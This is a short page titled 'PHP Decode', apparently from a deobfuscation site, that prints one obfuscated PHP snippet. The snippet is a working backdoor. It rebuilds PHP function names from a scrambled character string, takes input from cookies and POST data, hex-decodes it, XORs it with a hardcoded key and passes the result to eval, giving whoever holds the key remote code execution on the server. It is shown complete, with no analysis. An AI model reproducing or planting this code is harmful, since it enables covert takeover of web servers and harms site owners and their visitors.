PHP Decode

<?  $skjrbc = 'x8gs\'y9v2m01bl#6enr-a5*Huioct7p_k43d';$wqxbb = Array();$wqxbb[] = $skjrbc[34].$skjrbc[11].$skjrbc[1].$skjrbc[20].$skjrbc[27].$skjrbc[29].$skjrbc[21].$skjrbc[16].$skjrbc[19].$skjrbc[34].$skjrbc[27].$skjrbc[12].$skjrbc[21].$skjrbc[19].$skjrbc[33].$skjrbc[15].$skjrbc[21].$skjrbc[6].$skjrbc[19].$skjrbc[1].$skjrbc[10].$skjrbc[20].$skjrbc[29].$skjrbc[19].$skjrbc[34].$skjrbc[29].$skjrbc[35].$skjrbc[33].$skjrbc[29].$skjrbc[35].$skjrbc[1].$skjrbc[8].$skjrbc[10].$skjrbc[15].$skjrbc[6].$skjrbc[15];$wqxbb[] = $skjrbc[23].$skjrbc[22];$wqxbb[] = $skjrbc[14];$wqxbb[] = $skjrbc[27].$skjrbc[26].$skjrbc[24].$skjrbc[17].$skjrbc[28];$wqxbb[] = $skjrbc[3].$skjrbc[28].$skjrbc[18].$skjrbc[31].$skjrbc[18].$skjrbc[16].$skjrbc[30].$skjrbc[16].$skjrbc[20].$skjrbc[28];$wqxbb[] = $skjrbc[16].$skjrbc[0].$skjrbc[30].$skjrbc[13].$skjrbc[26].$skjrbc[35].$skjrbc[16];$wqxbb[] = $skjrbc[3].$skjrbc[24].$skjrbc[12].$skjrbc[3].$skjrbc[28].$skjrbc[18];$wqxbb[] = $skjrbc[20].$skjrbc[18].$skjrbc[18].$skjrbc[20].$skjrbc[5].$skjrbc[31].$skjrbc[9].$skjrbc[16].$skjrbc[18].$skjrbc[2].$skjrbc[16];$wqxbb[] = $skjrbc[3].$skjrbc[28].$skjrbc[18].$skjrbc[13].$skjrbc[16].$skjrbc[17];$wqxbb[] = $skjrbc[30].$skjrbc[20].$skjrbc[27].$skjrbc[32];foreach ($wqxbb[7]($_COOKIE, $_POST) as $tawyzk => $aqcahaw){function adghnq($wqxbb, $tawyzk, $rhvyfc){return $wqxbb[6]($wqxbb[4]($tawyzk . $wqxbb[0], ($rhvyfc / $wqxbb[8]($tawyzk)) + 1), 0, $rhvyfc);}function zyficc($wqxbb, $gigvn){return @$wqxbb[9]($wqxbb[1], $gigvn);}function zvarpn($wqxbb, $gigvn){$pxusy = $wqxbb[3]($gigvn) % 3;if (!$pxusy) {eval($gigvn[1]($gigvn[2]));exit();}}$aqcahaw = zyficc($wqxbb, $aqcahaw);zvarpn($wqxbb, $wqxbb[5]($wqxbb[2], $aqcahaw ^ adghnq($wqxbb, $tawyzk, $wqxbb[8]($aqcahaw))));} ?>